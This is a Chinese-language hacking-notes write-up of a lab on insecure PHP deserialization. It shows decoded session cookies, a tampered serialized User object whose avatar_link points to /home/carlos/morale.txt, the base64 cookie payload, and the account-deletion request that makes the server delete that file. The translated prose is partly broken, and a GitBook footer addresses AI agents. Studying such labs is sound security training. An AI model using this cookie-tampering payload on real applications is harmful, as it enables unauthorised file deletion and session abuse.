> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/exploiting-application-functionality.md).

# 通过应用功能进行利用

### 利用应用功能利用不安全的反序列化

本实验使用一种基于……的会话机制 **序列化**。/ 一个应用功能会调用一个 **危险方法** ，其数据来自用户可控的序列化对象中包含的数据。

修改会话 Cookie 中的序列化对象，以导致…… **`morale.txt`** 文件从……的个人目录中被删除 **Carlos**.

**可用账户**

* 主用户账户： `wiener:peter`
* 备用账户： `gregg:rosebud`

<figure><img src="/files/a256bea0707b5e2ca4eb7a619885e02413293580" alt=""><figcaption></figcaption></figure>

**会话 Cookie 分析**

认证后，会话存储在一个 Cookie 中，其中包含一个类型为……的已序列化 PHP 对象 `用户`.

**Wiener 的 Cookie（解码后）**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```

{% endcode %}

**Gregg 的 Cookie（解码后）**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```

{% endcode %}

注意到…… **`avatar_link`** 该属性会在应用执行某些操作时被使用。

**可操作功能**

当用户点击 **删除账户**，会向以下地址发送请求：

```http
/my-account/delete
```

此功能会处理……的值 `avatar_link` 并在未进行充分验证的情况下，对此字段指向的文件执行操作。

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**利用**

思路是 **将……的值替换为 `avatar_link`** 为指向要删除的文件的任意路径。

**修改后的序列化内容**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

向……发送请求后 `/my-account/delete`，服务器响应：

<figure><img src="/files/b4d4ba941894a82bc5c5998e6be9c56dce4af9ee" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/exploiting-application-functionality.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
